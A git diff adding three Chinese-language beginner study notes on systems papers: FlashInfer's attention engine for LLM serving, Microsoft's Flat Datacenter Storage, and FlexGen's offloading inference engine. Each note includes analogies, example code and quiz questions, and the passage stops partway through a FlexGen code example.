+++ b/src/content/docs/papers/flashinfer-2024.md
@@ -0,0 +1,334 @@
+---
+title: FlashInfer — LLM 推理的「万能 attention 引擎」零基础笔记
+来源: https://arxiv.org/abs/2501.01005
+日期: 2026-06-13
+子分类: ml
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：外卖平台的「中央厨房 + 现炒档口」
+
+想象你经营一家**大型外卖平台**（LLM 推理服务），同时接很多订单：
+
+- 有的顾客要**整桌宴席**（prefill：一次吃进几千 token 的长 prompt）；
+- 有的只要**加一道菜**（decode：每步只生成 1 个 token，但要回头翻整本菜谱）；
+- 有的订单**开头完全一样**（共享 system prompt / RAG 文档前缀）；
+- 有的走**猜菜再确认**流程（speculative decoding：先草稿、再并行验证）。
+
+厨房如果只备**一种灶台**、**一种切菜规则**，要么宴席档口闲着、要么快餐档口排队——这就是早期 LLM serving 里 attention kernel 的困境：**每个框架（vLLM、SGLang、MLC）各自写一套 CUDA，维护成本高，还吃不满 GPU**。
+
+**FlashInfer**（Ye 等，MLSys 2025，arXiv [2501.01005](https://arxiv.org/abs/2501.01005)）的做法像建一座**中央厨房基础设施**：
+
+1. **统一食材摆放标准**（block-sparse KV cache 格式）——分页表、Radix 树、树形 speculative mask，都能映射成同一种「块稀疏矩阵」；
+2. **现炒档口按订单定制**（JIT 编译 attention 变体）——滑动窗口、logit soft-cap、FlashSigmoid 等，不必为每种变体手写全套 kernel；
+3. **调度员动态分锅**（负载均衡调度）——batch 里谁长谁短随时变，仍尽量让每个 SM 都有活干，且能和 **CUDA Graph**（要求静态配置）和平共处。
+
+一句话：**FlashInfer 不是又一个 FlashAttention，而是把「推理场景里所有 attention 怎么存、怎么算、怎么调度」收成一套可定制、可生成的引擎**——已被 vLLM、SGLang、MLC-Engine、TensorRT-LLM 等集成。
+
+---
+
+## 是什么
+
+| 项目 | 内容 |
+|------|------|
+| 论文 | *FlashInfer: Efficient and Customizable Attention Engine for LLM Inference Serving* |
+| 作者 | Zihao Ye, Lequn Chen, Ruihang Lai, Wuwei Lin 等（UW / CMU / NVIDIA 等） |
+| 会议 | MLSys 2025 |
+| 开源 | [github.com/flashinfer-ai/flashinfer](https://github.com/flashinfer-ai/flashinfer) |
+| 定位 | **推理专用** attention kernel 库 + **代码生成 / JIT** 引擎 |
+| 效果（论文） | 相对编译器后端：**29–69%** 词间延迟下降；长上下文：**28–30%**；并行生成：**13–17%** 加速 |
+
+论文要解决的核心矛盾：
+
+- **工作负载多样**：prefill、decode、增量 prefill、prefix 共享、speculative 树 attention……
+- **硬件与格式多样**：PagedAttention、RadixAttention、GQA/MQA、不同 GPU 架构（Turing → Blackwell）、不同 mask / score 变体。
+
+过去每个 serving 框架各写一套 kernel → 重复劳动、难以跟上新模型特性。FlashInfer 用 **「统一数据抽象 + 模板 JIT + 动态调度」** 把维护面收成一层。
+
+---
+
+## 为什么重要
+
+不理解 FlashInfer，下面几件事很难串起来：
+
+- 为什么 **vLLM / SGLang** 近年把 attention 底层迁到 FlashInfer，而不只依赖 FlashAttention-2 单体库
+- 为什么 **PagedAttention**（块表）和 **RadixAttention**（前缀树）在实现上可以共用同一套 kernel 接口
+- 为什么推理要单独谈 **decode tile size = 1**、**prefill tile size = 128**——训练 kernel 直接搬过来会慢
+- 为什么 **CUDA Graph** 能显著降延迟，却又和「动态 batch、变长序列」冲突——FlashInfer 的调度是为这个张力设计的
+- 为什么新模型一出 **sliding window、MLA、logit soft-cap**，框架能快速跟上是 JIT 变体在起作用
+
+它和 **FlashAttention** 的关系：FlashAttention 优化的是「单次 attention 的 IO」；FlashInfer 站在 **serving 系统** 视角，把 KV 怎么摆、batch 怎么切、变体怎么编译、SM 怎么分活，一起解决。
+
+---
+
+## 核心概念
+
+### 1. Block-Sparse Row（BSR）统一 KV 存储
+
+KV cache 在 serving 里往往不是连续大数组：
+
+- **PagedAttention**：逻辑块 → 物理块，通过 page table 索引；
+- **RadixAttention**：共享前缀在树上复用物理块；
+- **Speculative decoding**：树形 attention mask。
+
+FlashInfer 证明：这些都能看成 **块稀疏矩阵（BSR）**：
+
+- 行块大小 \(B_r\)：通常对齐 **query tile**（一次几个 query 一起算）；
+- 列块大小 \(B_c\)：由 KV 管理策略决定（常为 1 个 token 一块，或更大块）。
+
+非零块 = 真正要读的 KV 页；零块直接跳过。这样 **一种 kernel 读写逻辑** 就能覆盖多种 serving 内存布局。
+
+### 2. Composable Formats（可组合格式）
+
+同一 batch 里，不同请求对 KV 的访问模式不同：
+
+- 共享前缀部分：多行 query 读**同一段** KV → 适合大 \(B_r\)，在 shared memory 里复用；
+- 各自后缀部分：每行独立 → 适合 \(B_r=1\)。
+
+FlashInfer 把 KV **拆成多个 BSR 子矩阵**（不必搬数据，只拆 index），分别用最优块大小计算，再用 **Attention State 组合**（见下）合并结果——类似「大锅炖公共汤底 + 小炒锅炒个性配菜」。
+
+### 3. Attention State 与 \(\oplus\) 组合算子
+
+来自 online softmax / Flash-Decoding 思想：attention 不必一次算完，可以分块算 **局部状态**，再合并。
+
+对每个 index 集合 \(\mathcal{I}\)，保存二元组：
+
+- \(\mathbf{LSE}(\mathcal{I})\)：log-sum-exp of scores（logits 的「归一化分母」的对数形式）；
+- \(\mathbf{O}(\mathcal{I})\)：加权 value 输出。
+
+两块 \(\mathcal{I}, \mathcal{J}\) 的结果用 \(\oplus\) 合并（与 FlashAttention 的 online softmax 更新同源）。**可结合、可交换** → 适合：
+
+- 长 KV 分 chunk 并行；
+- composable format 多子矩阵；
+- cascade / 分层 KV。
+
+FlashInfer 把 **Attention State** 当作 attention op 的标准输出类型（类似 GEMM 里的累加器）。
+
+### 4. 多 Tile 尺寸 + 架构感知模板
+
+训练向 prefill 优化，推理还要照顾 **decode（\(l_{qo}=1\)）**：
+
+- query tile \(T_q \in \{1,16,32,64,128\}\)；
+- KV tile 多种组合；
+- \(T_q=1\) 走 **CUDA Core**（tensor core 最小行宽 16，单 token decode 用不上）；
+- Hopper 上 FA3 路径用 WGMMA，tile 为 64 的倍数。
+
+根据 **平均 query 长度、寄存器/共享内存预算、SM 占用率** 启发式选 tile——同一套模板，编译期定参数。
+
+### 5. JIT 可定制 Attention 变体
+
+维护「每个模型一种手写 CUDA」不可持续。FlashInfer 提供 **变体规约（variant specification）**，用户用 CUDA 片段定义 functor：
+
+| Functor | 作用 |
+|---------|------|
+| `QueryTransform` / `KeyTransform` / `ValueTransform` | 算分前对 Q/K/V 变换（可融合 RoPE、RMSNorm） |
+| `LogitsTransform` / `LogitsMask` | softmax 前改 logits（滑动窗口、soft-cap） |
+| `OutputTransform` | 输出后处理 |
+
+JIT 把变体 **填进 FlashAttention 骨架模板**，PyTorch extension 编译注册为 custom op。灵感来自 **FlexAttention**，但面向 **推理 serving + block-sparse KV**。
+
+### 6. 负载均衡调度 + CUDA Graph 兼容
+
+Serving batch 里每个请求的 \(l_{qo}, l_{kv}\) 时刻在变。FlashInfer 运行时：
+
+1. 按 query tile \(T_q\) 切 tile，估算每 tile 代价 \(\text{cost} = \alpha l_q + \beta l_{kv}\)；
+2. 把 KV 再切成 chunk，**贪心 / 优先队列** 分给各 CTA，平衡 SM 负载；
+3. **编译期** 定 tile 配置，**运行期** 只喂序列长度——满足 CUDA Graph「图结构静态、张量地址固定」的要求。
+
+受 **Stream-K** 启发，但 **不用原子累加**（避免非确定性输出，serving 要可复现）。
+
+### 7. 与 FlashAttention-2/3 的分工
+
+| 层次 | FlashAttention | FlashInfer |
+|------|----------------|------------|
+| 主要场景 | 训练 / 通用前向 | **LLM inference serving** |
+| KV 布局 | 多为稠密或简单 mask | **Paged / Radix / 树 / 稀疏** 统一 BSR |
+| 变体扩展 | 相对固定 | **JIT 模板** |
+| 调度 | 较少涉及 batch 动态 | **CTA 级负载均衡** |
+| 集成 | PyTorch SDPA 后端 | vLLM、SGLang、MLC 等 **引擎内核** |
+
+FlashInfer 内部可选用 FA2（Ampere 及以前）或 FA3（Hopper）作为微内核，外面再包 serving 语义。
+
+---
+
+## 代码示例
+
+### 示例 1：单请求 decode — `single_decode_with_kv_cache`
+
+最基础的推理形态：query 只有 **当前 1 个 token**，KV 是历史 cache。
+
+```python
+import torch
+import flashinfer
+
+# q: [num_qo_heads, head_dim] — decode 时通常只有 1 个 query token
+# k, v: [kv_len, num_kv_heads, head_dim] — 历史 KV（或本步 append 前）
+q = torch.randn(32, 128, device="cuda", dtype=torch.float16)
+k = torch.randn(2048, 32, 128, device="cuda", dtype=torch.float16)
+v = torch.randn(2048, 32, 128, device="cuda", dtype=torch.float16)
+
+output = flashinfer.single_decode_with_kv_cache(q, k, v)
+# output.shape == q.shape
+```
+
+对比朴素 PyTorch attention，FlashInfer 在 **小 query、长 KV** 的 decode  regime 下用对 tile 与内存访问模式，这正是 serving 里占大头的路径。
+
+### 示例 2：Paged KV batch decode — `BatchDecodeWithPagedKVCacheWrapper`
+
+与 **vLLM PagedAttention** 同构：每个序列的 KV 存在 **非连续物理块** 里，用 `indptr` / `indices` 描述块表。
+
+```python
+import torch
+import flashinfer
+
+num_layers = 32
+num_heads = 32
+head_dim = 128
+page_size = 16          # 每块存 16 个 token 的 KV
+max_num_pages = 1024
+batch_size = 8
+
+# 物理 KV 池：[num_pages, 2, page_size, num_heads, head_dim]（2 = K 与 V）
+kv_cache = torch.randn(
+    max_num_pages, 2, page_size, num_heads, head_dim,
+    device="cuda", dtype=torch.float16,
+)
+
+# 块表：indptr 长度 batch+1，indices 列出每个序列占用的物理页号
+kv_page_indptr = torch.tensor(
+    [0, 3, 5, 8, 10, 12, 15, 18, 20], device="cuda", dtype=torch.int32
+)
+kv_page_indices = torch.randint(
+    0, max_num_pages, (20,), device="cuda", dtype=torch.int32
+)
+# 每个序列最后一页用了几个 slot（未满页）
+kv_last_page_len = torch.tensor(
+    [16, 8, 12, 16, 4, 16, 10, 16], device="cuda", dtype=torch.int32
+)
+
+# 当前步要 attend 的 query：[batch, num_heads, head_dim]
+q = torch.randn(batch_size, num_heads, head_dim, device="cuda", dtype=torch.float16)
+
+wrapper = flashinfer.BatchDecodeWithPagedKVCacheWrapper(
+  torch.empty(128 * 1024 * 1024, dtype=torch.uint8, device="cuda")  # workspace
+)
+wrapper.plan(
+    kv_page_indptr, kv_page_indices, kv_last_page_len,
+    num_heads, num_heads, head_dim, page_size, causal=True,
+)
+output = wrapper.run(q, kv_cache)
+```
+
+`plan()` 阶段根据 batch 的序列长度做 **调度与 tile 选择**；`run()` 执行 kernel。同一 `plan` 可配合 **CUDA Graph 捕获**，降低每 token 的 CPU launch 开销——这是论文强调的工程点。
+
+### 示例 3（补充）：prefill + decode 混合 — POD-Attention 思路
+
+生产 batch 常 **prefill 与 decode 混在同一 forward**。FlashInfer 提供 **POD-Attention** 等融合路径，避免为两类请求各跑一遍完整 kernel 流水线。概念上：
+
+```python
+# 伪代码：同一 batch 内 ragged Q，BSR 格式 KV，一次 launch 覆盖多 phase
+# flashinfer 高层 API 随版本演进，核心是「ragged query + block-sparse KV」统一入口
+outputs, lse = flashinfer.prefill_with_paged_kv_cache(
+    q_ragged, kv_cache, kv_page_indptr, kv_page_indices, kv_last_page_len,
+    causal=True,
+)
+```
+
+具体函数名以 [docs.flashinfer.ai](https://docs.flashinfer.ai) 为准；论文贡献在于 **数据结构与调度** 支持这种混合，而非单一函数名。
+
+---
+
+## 论文实验结果（精读摘要）
+
+| 场景 | 对比对象 | 主要结论 |
+|------|----------|----------|
+| LLM serving benchmark | 编译器类后端（如 torch.compile 路径） | 词间延迟 **↓29–69%** |
+| 长上下文推理 | 同类 serving 方案 | 延迟 **↓28–30%** |
+| Parallel generation（beam / 多分支） | 基线引擎 | **13–17%** 端到端加速 |
+| Kernel micro-benchmark | FlashAttention-2、xformers 等 | 多配置下吞吐领先或持平，优势在 **异构 batch + paged KV** |
+
+评估覆盖 **kernel 级** 与 **端到端 serving**；集成框架包括 vLLM、SGLang、MLC-Engine。
+
+---
+
+## 与相关工作的关系
+
+```text
+FlashAttention (IO-aware 精确 attention)
+        ↓ 微内核算法
+FlashInfer (serving 层：BSR KV + JIT 变体 + 调度)
+        ↓ 被集成
+vLLM (PagedAttention) / SGLang (RadixAttention) / MLC-Engine / TensorRT-LLM
+```
+
+- **[PagedAttention / vLLM](paged-attention-vllm.md)**：解决 KV **怎么分页**；FlashInfer 解决 **分页后 attention 怎么快算**。
+- **[SGLang / RadixAttention](sglang-radixattention.md)**：解决前缀 **怎么共享**；FlashInfer 用 composable BSR **吃共享前缀**。
+- **FlashAttention-2/3**：单算子极致；FlashInfer **包一层 serving 语义** 并 JIT 变体。
+- **FlexAttention**：训练侧灵活 mask；FlashInfer 把类似 **functor** 思想带到 **CUDA JIT + 推理 KV**。
+
+---
+
+## 安装与验证（工程向）
+
+```bash
+pip install flashinfer-python
+# 可选：预编译 cubin / jit-cache，减少首次编译等待
+pip install flashinfer-cubin
+pip install flashinfer-jit-cache --index-url https://flashinfer.ai/whl/cu129
+
+flashinfer show-config   # 确认 CUDA arch、缓存路径
+```
+
+支持 GPU：SM75（Turing）至 Blackwell；CUDA 12.6+。日志调试：`FLASHINFER_LOGLEVEL=3`。
+
+---
+
+## 局限与后续方向（论文自述）
+
+- 更高层 DSL（如 TensorIR 类）编译到 FlashInfer 规约，降低手写 functor 成本；
+- 更多后端（Triton、其他厂商 NPU）的代码生成；
+- 新 attention（MLA、FP8/FP4 KV）需持续扩展模板与调度启发式。
+
+---
+
+## 自测题
+
+1. 为什么 PagedAttention 的 page table 可以看成 BSR 稀疏矩阵？\(B_c=1\) 时列块代表什么？
+2. decode 阶段为什么常用 \(T_q=1\) 的 tile，且走 CUDA Core 而非 Tensor Core？
+3. Attention State 的 \(\oplus\) 运算解决了什么问题？和 online softmax 有何联系？
+4. FlashInfer 如何在「动态序列长度」与「CUDA Graph 静态图」之间折中？
+5. 若两个请求共享 4k token 前缀，composable format 如何减少重复 KV 读取？
+
+<details>
+<summary>参考答案（要点）</summary>
+
+1. 每个物理 KV 块是 \((H,D)\) 张量；page table 指出哪些块被访问 → 非零块；\(B_c=1\) 时常对应 **每列一块 token** 的细粒度 paging。
+2. decode 每次只有 1 个 query token，用大 query tile 浪费；Tensor Core 最小行 16，单 token 不适配。
+3. 分块算 attention 后 **确定性合并** 局部结果；\(\oplus\) 等价于分段 online softmax 的合并公式。
+4. **编译期** 固定 tile / kernel 配置；**运行期** 只变序列长度与调度映射；图结构不变。
+5. 共享前缀对应稠密子矩阵，用大 \(B_r\) 存 BSR，多 query 在 shared memory 共读一段 KV；独有后缀用小 \(B_r\) 分开算再 \(\oplus\) 合并。
+
+</details>
+
+---
+
+## 延伸阅读
+
+- 论文 PDF：[arXiv:2501.01005](https://arxiv.org/abs/2501.01005)
+- 官方文档：[docs.flashinfer.ai](https://docs.flashinfer.ai)
+- 本库笔记：[FlashAttention](flash-attention.md)、[PagedAttention / vLLM](paged-attention-vllm.md)、[SGLang / RadixAttention](sglang-radixattention.md)
+
+---
+
+## 引用
+
+```bibtex
+@article{ye2025flashinfer,
+  title   = {FlashInfer: Efficient and Customizable Attention Engine for LLM Inference Serving},
+  author  = {Ye, Zihao and Chen, Lequn and Lai, Ruihang and others},
+  journal = {arXiv preprint arXiv:2501.01005},
+  year    = {2025},
+  url     = {https://arxiv.org/abs/2501.01005}
+}
+```
diff --git a/src/content/docs/papers/flat-datacenter-storage.md b/src/content/docs/papers/flat-datacenter-storage.md
new file mode 100644
index 000000000..3b8f6b11d
--- /dev/null
+++ b/src/content/docs/papers/flat-datacenter-storage.md
@@ -0,0 +1,246 @@
+---
+title: Flat Datacenter Storage
+来源: https://www.usenix.org/conference/osdi12/technical-sessions/presentation/nightingale
+日期: 2026-06-13
+分类: 分布式系统
+子分类: 共识与复制
+provenance: pipeline-v3
+---
+
+# Flat Datacenter Storage — 零基础学习笔记
+
+## 一、一句话概括
+
+FDS 是微软研究院在 2012 年 OSDI 上发表的一种**数据中心级别的大对象（blob）存储系统**，它的核心理念是：利用现代数据中心的"全二分带宽"网络，让**每一块硬盘都能同时参与读写**，从而彻底放弃传统存储系统中"按数据局部性做优化"的思路。
+
+---
+
+## 二、从日常类比开始
+
+### 2.1 传统存储：快递分拣中心
+
+想象一个大型快递分拣中心：
+
+- 有 100 辆卡车（对应 100 台服务器上的磁盘）
+- 每辆卡车的载货量有限
+- 如果要把 1 万个包裹运走，传统做法是：**把包裹按区域分组**，每组分配给几辆卡车，一组运完再运下一组
+- 这叫"局部性优化"——只让部分卡车同时工作，因为担心其他卡车抢道路
+
+**问题是什么？** 90% 的时间里，只有 10-20 辆卡车在跑，其余 80 辆在等。
+
+### 2.2 FDS 的做法：全部卡车同时出发
+
+FDS 的思路完全不同：
+
+- 数据中心的网络就像一条**超宽高速公路**——全二分带宽（full bisection bandwidth），意味着任意两台服务器之间都能同时以满速通信
+- 于是 FDS 让**所有 100 辆卡车同时出发**，每辆车只装一小部分包裹
+- 通过智能的流量控制（flow control），确保高速公路不会堵车
+
+**类比映射：**
+
+| 快递中心 | FDS 系统 |
+|----------|----------|
+| 卡车 | 集群中的磁盘 |
+| 包裹 | 数据分片（chunk） |
+| 高速公路 | 全二分带宽网络 |
+| 交通管制 | Flow control |
+| 分拣规则 | 元数据条带化（metadata striping） |
+
+---
+
+## 三、核心概念拆解
+
+### 3.1 Blob Store（大对象存储）
+
+FDS 不存关系型数据库那种"行和列"，它存的是**blob**——就是一整块二进制数据，比如：
+
+- 一个 4GB 的视频文件
+- 一份 2GB 的日志文件
+- 一张 1GB 的图像
+
+你可以把 blob 理解为"一个大包裹"，它可能被拆成很多小块存在不同磁盘上。
+
+### 3.2 数据条带化（Data Striping）
+
+一个 blob 太大时，FDS 把它切成固定大小的小块（chunk），然后**均匀分散到所有磁盘上**。
+
+```
+Blob "video_4gb.mp4" = 4096 chunks (每个 1MB)
+
+Chunk 0  → Disk_A:Slot_3
+Chunk 1  → Disk_B:Slot_7
+Chunk 2  → Disk_C:Slot_1
+...
+Chunk 4095 → Disk_Z:Slot_12
+```
+
+这样读一个 blob 时，**所有磁盘可以同时读取各自的那一块**，速度 = 单盘速度 × 磁盘数。
+
+### 3.3 元数据条带化（Metadata Striping）
+
+传统系统里，管理"哪个 chunk 存在哪"的元数据往往集中在一个节点上，成了瓶颈。FDS 把元数据也**分散到所有机器上**，每台机器只负责一部分 chunk 的位置信息。
+
+### 3.4 Flow Control（流量控制）
+
+让所有磁盘同时读写，最大的风险是网络拥塞。FDS 内置了精细的流量控制机制，动态调节每个磁盘的读写速率，确保网络不超载。
+
+### 3.5 局部性无关（Locality-Oblivious）
+
+这是 FDS 最反直觉的设计哲学：
+
+- 传统系统：尽量把相关数据放在同一台机器上，减少网络传输
+- FDS 的做法：**不在乎数据在哪**，因为网络足够快，直接从所有磁盘并行取数据反而更快
+
+---
+
+## 四、关键性能数据
+
+| 指标 | 数值 | 说明 |
+|------|------|------|
+| 单进程读写吞吐 | > 2 GB/s | 远超传统存储系统 |
+| 单磁盘故障恢复 | 92 GB 数据在 6.2 秒内恢复 | 磁盘间全带宽通信 |
+| 整机故障恢复 | 655 GB 数据在 33.7 秒内恢复 | 整台机器挂了也不怕 |
+| 排序世界纪录 | 2012 年 disk-to-disk 排序 | FDS 应用实例 |
+
+---
+
+## 五、代码示例
+
+### 5.1 示例一：写入一个 Blob
+
+下面的伪代码展示了如何将一个大文件写入 FDS：
+
+```python
+# 假设我们已经连接到了 FDS 客户端
+
+# 第一步：打开一个写入通道
+blob_handle = fds.open("my_video.mp4", mode="write")
+
+# 第二步：FDS 内部会自动做以下事情：
+#   1. 把文件切成固定大小的 chunks（比如每 chunk 64MB）
+#   2. 通过元数据条带化，决定每个 chunk 存在哪台机器的哪个磁盘上
+#   3. 所有磁盘同时接收各自的 chunk 数据
+
+# 第三步：写入数据（FDS 自动处理分片和路由）
+with open("local_video.mp4", "rb") as f:
+    while True:
+        chunk = f.read(64 * 1024 * 1024)  # 64MB
+        if not chunk:
+            break
+        blob_handle.write(chunk)
+
+# 第四步：关闭，FDS 确保所有 chunk 都已持久化
+blob_handle.close()
+
+# 整个过程看起来像写单个文件，
+# 但实际上数据被并行写入了集群中所有的磁盘
+```
+
+**关键点：** 你写的代码和写本地文件一样简单，但 FDS 在背后做了：
+1. 数据切分（striping）
+2. 元数据路由（metadata striping）
+3. 流量控制（flow control）
+4. 容错复制（replication）
+
+### 5.2 示例二：磁盘故障后的自动恢复
+
+```python
+# 假设 Disk_C 突然坏了，上面有 3 个 chunk 的数据丢失
+
+# FDS 检测到故障后，自动触发恢复流程：
+
+# 第一步：FDS 知道这 3 个 chunk 在其他磁盘上有副本
+# （通常采用 3 副本策略，即每个 chunk 存 3 份）
+
+# 第二步：FDS 并行从所有健康的副本磁盘读取数据
+# 注意：这里不是从一台机器读，而是从多台机器的多个磁盘同时读
+
+recovery_chunks = [
+    fds.read_chunk_from("Disk_A", chunk_id=1024),
+    fds.read_chunk_from("Disk_E", chunk_id=1025),
+    fds.read_chunk_from("Disk_G", chunk_id=1026),
+]
+
+# 第三步：通过全带宽网络快速写入到新磁盘
+fds.write_to_new_disk(recovery_chunks, target="Disk_C_new")
+
+# 性能对比：
+# 传统系统：从 1 台机器恢复 92GB → 可能需要几分钟
+# FDS：从 N 台机器并行恢复 92GB → 实测 6.2 秒
+```
+
+**为什么这么快？** 因为 FDS 让磁盘之间直接通信，不经过中央服务器中转，充分利用了集群的总带宽。
+
+---
+
+## 六、与传统系统的架构对比
+
+```
+【传统 HDFS 式存储】
+
+  Client ──┬── NameNode（元数据集中管理，单点瓶颈）
+           │
+           ├── DataNode1 ── [disk, disk, disk]
+           ├── DataNode2 ── [disk, disk, disk]
+           └── DataNode3 ── [disk, disk, disk]
+
+  问题：NameNode 是瓶颈；数据读取受限于单台 DataNode 的磁盘数；
+        恢复时数据从单台机器流出，速度慢。
+
+
+【FDS 式存储】
+
+  Client ──────────────────────────────────────┐
+                                               │
+           ┌───────────────────────────────────┼───────────────────────────────────┐
+           │                                   ▼                                   │
+  [MetaNode1]  [MetaNode2]  [MetaNode3]  ...  [MetaNodeN]                          │
+  (元数据分散)   (元数据分散)   (元数据分散)       (元数据分散)                      │
+           │                                   │                                   │
+           └───────────────┬───────────────────┘                                   │
+                           │  全二分带宽网络（所有节点互连）                         │
+                           ▼                                                       │
+  ┌────────┐ ┌────────┐ ┌────────┐ ┌────────┐ ┌────────┐ ┌────────┐
+  │Disk 1  │ │Disk 2  │ │Disk 3  │ │Disk 4  │ │Disk 5  │ │Disk 6  │
+  │(本地)  │ │(本地)  │ │(本地)  │ │(本地)  │ │(本地)  │ │(本地)  │
+  └────────┘ └────────┘ └────────┘ └────────┘ └────────┘ └────────┘
+           ▲           ▲           ▲           ▲           ▲           ▲
+           └───────────┴───────────┴───────────┴───────────┴───────────┘
+                           所有磁盘可同时读写
+
+  优势：无单点瓶颈；读取速度 = 单盘速度 × 磁盘数；
+        恢复速度 = 集群总带宽，而非单盘速度。
+```
+
+---
+
+## 七、FDS 的设计前提
+
+FDS 的强大能力依赖于一个关键前提：**数据中心网络基础设施已经升级到了全二分带宽**。
+
+这意味着：
+- 集群内任意两台机器之间的通信都能达到满速
+- 网络不再是瓶颈，磁盘 I/O 才是
+- 这种网络架构在 2012 年的大型数据中心（如 Facebook、Google）已经可行
+
+如果没有这个前提，FDS 的"让所有磁盘同时工作"的策略会导致网络拥塞，反而更慢。
+
+---
+
+## 八、这篇论文的贡献总结
+
+1. **提出了"局部性无关"的存储设计理念**——打破"数据要就近存放"的传统思维
+2. **全集群数据条带化**——让每个 chunk 的读写都横跨整个集群
+3. **元数据分布式条带化**——消除了元数据服务的性能瓶颈
+4. **磁盘间直接高速恢复**——利用全带宽网络实现亚分钟级的 TB 级数据恢复
+5. **实际系统验证**——实现了 >2GB/s 的单进程吞吐，并创造了当时的排序世界纪录
+
+---
+
+## 九、思考题（等你回答后再继续）
+
+1. FDS 放弃了"数据局部性"优化，那么在什么场景下这种做法可能反而不如传统方案？（提示：考虑小文件的场景）
+
+---
+
+*本文基于 OSDI 2012 论文 "Flat Datacenter Storage"（Nightingale, Elson, Fan, Hofmann, Howell, Suzue, Microsoft Research）整理。*
diff --git a/src/content/docs/papers/flexgen-2023.md b/src/content/docs/papers/flexgen-2023.md
new file mode 100644
index 000000000..3e13b41a5
--- /dev/null
+++ b/src/content/docs/papers/flexgen-2023.md
@@ -0,0 +1,252 @@
+---
+title: FlexGen — 把 175B 大模型塞进一张 16GB 显卡
+来源: https://arxiv.org/abs/2303.06865
+日期: 2026-06-13
+分类: 机器学习
+子分类: ML 系统
+provenance: pipeline-v3
+---
+
+## 是什么
+
+FlexGen（**Flex**ible **Gen**eration Engine）是斯坦福、伯克利、CMU、耶鲁、Together AI、Yandex、ETH Zurich 等多机构合作 2023 年 3 月提出的**单卡高吞吐 LLM 推理系统**。它能在一张 16GB 消费级 GPU（NVIDIA T4）上运行 OPT-30B 甚至 OPT-175B 模型。
+
+日常类比：大模型推理就像一场宴会——GPU 的显存是餐桌，模型权重、中间计算结果、KV 缓存是满桌菜。以前只有大桌子（多张 A100）才能放下；FlexGen 的思路是**用 CPU 内存和 SSD 当餐边柜**，做菜时只把当前要用的菜放到桌上，做完立刻收回去，再取下一道。通过智能调度，餐桌虽小说能请很多桌客人同时吃饭（大 batch），总吞吐量反而更高。
+
+## 为什么重要
+
+- 首次让 **OPT-175B 在单卡 T4 上达到 1 token/s** 级别吞吐——之前几乎不可能
+- 面向**批处理优先**场景（benchmark、数据抽取、表单处理），延迟可以慢，但吞吐必须高
+- 通过线性规划自动搜索最优张量放置策略，用户只需给约束条件
+- 权重 + KV 缓存压缩到 4-bit，几乎不掉精度
+- 让企业用 **$0.5/小时 的 T4 替代 $5/小时 的 A100** 做离线推理——成本降 10 倍
+
+## 核心要点
+
+FlexGen 的核心思想可以拆成四块：
+
+### 1. 三级存储分层：GPU ↔ CPU ↔ Disk
+
+模型张量（权重、激活、KV 缓存）不再只驻留 GPU，而是可以**分布在三个存储层**：
+
+- **GPU**：当前层计算需要活跃的数据
+- **CPU 内存**：暂存暂时不用的权重和缓存（比 GPU 大得多，16GB GPU vs 200GB+ CPU 内存）
+- **Disk（SSD）**：存放几乎不访问的权重，按需读取
+
+关键问题：**哪些放哪层？** FlexGen 用线性规划自动求解最优放置方案，输入是 GPU/CPU/磁盘容量约束，输出是每个张量的存储位置。
+
+### 2. 块级调度（Block Scheduling）
+
+这是 FlexGen 相比之前系统（如 Alpa、DeepSpeed）的**核心创新**。
+
+之前的 offloading 系统用**逐行调度**——算完一层再把权重从 CPU 搬运下来，计算完又搬回去。大量时间浪费在 I/O 上。
+
+FlexGen 改用**块级调度**——把输入 batch 分成多个 block，每个 block 独立计算：
+
+```
+Block 1: 搬运所需权重 → 计算 → 搬运回 CPU/Disk
+Block 2: 搬运所需权重 → 计算 → 搬运回 CPU/Disk
+...
+```
+
+每个 block 内部 I/O 与计算**部分重叠**（CPU→GPU 搬运时 GPU 已经在算上一个 block 的尾部），减少空闲等待。效果：I/O 效率大幅提升。
+
+### 3. 4-bit 量化压缩
+
+FlexGen 对两部分做 4-bit 压缩：
+
+- **模型权重（weights）**：FP16 → INT4，显存占用降 4x
+- **KV 缓存（attention cache）**：FP16 → INT4，显存占用降 4x
+
+压缩不是简单截断，而是做**逐通道缩放（per-channel scaling）**：找到每个通道中激活值最大的绝对值作为 scale，量化时用 scale 做归一化，反量化时再乘回去。这比逐权重量化更准，且硬件友好。
+
+论文实验显示：压缩后精度**几乎无损失**（<1% 困惑度增长）。
+
+### 4. 延迟-吞吐的主动权衡
+
+FlexGen 明确放弃"低延迟"目标，转向**最大化吞吐**。这意味着：
+
+- 接受较高的单次请求延迟
+- 通过**超大有效 batch size** 摊薄 I/O 开销
+- OPT-30B 上可达 **batch size = 144**（CPU offloading），OPT-175B 上可达 **256**
+
+类比：餐厅不追求每桌 5 分钟上菜（低延迟），而是追求一天能接待 500 桌（高吞吐）。
+
+## 实践案例
+
+### 案例 1：安装和运行 OPT-1.3B（单卡即可，无需 offloading）
+
+```bash
+pip install flexllmgen
+
+# OPT-1.3B 只有约 2.6GB 权重，直接塞进 16GB GPU
+python3 -m flexllmgen.flex_opt --model facebook/opt-1.3b
+```
+
+输出会显示 OPT-1.3B 生成的文本和 benchmark 结果。这一步不触发 offloading，因为模型太小。
+
+### 案例 2：运行 OPT-30B（需要 CPU offloading）
+
+```bash
+# OPT-30B 权重约 60GB，远超 16GB GPU
+# --percent 六个参数分别控制：
+#   [权重层0在GPU%, 权重层1在CPU%, 权重在Disk%, 
+#    KV缓存在GPU%, KV缓存在CPU%, KV缓存在Disk%]
+python3 -m flexllmgen.flex_opt \
+  --model facebook/opt-30b \
+  --percent 0 100 0 0 100 0
+
+# 解释：权重 100% 放 CPU，KV 缓存 100% 放 CPU
+# 计算时按需从 CPU 搬到 GPU，算完收回
+# 在 T4 + 208GB RAM 上达到 7.32 token/s（batch=144）
+```
+
+### 案例 3：运行 OPT-175B（需要磁盘 offloading）
+
+```bash
+# OPT-175B 权重约 350GB，CPU 内存也不够
+# 权重全部放 SSD，KV 缓存放 CPU
+python3 -m flexllmgen.flex_opt \
+  --model facebook/opt-175b \
+  --percent 0 0 100 0 100 0 \
+  --offload-dir /path/to/ssd
+
+# 在 T4 + 1.5TB SSD 上达到 0.69 token/s（batch=256）
+# 加上 --compress-weight 可达 1.12 token/s
+```
+
+### 案例 4：通过 API 批量推理
+
+```python
+from flexllmgen import FlexLLMGen
+
+model = FlexLLMGen(
+    model_name="facebook/opt-30b",
+    percent=[0, 100, 0, 0, 100, 0],  # offloading 策略
+    gpu_batch_size=48,                  # 每个 GPU 的 batch
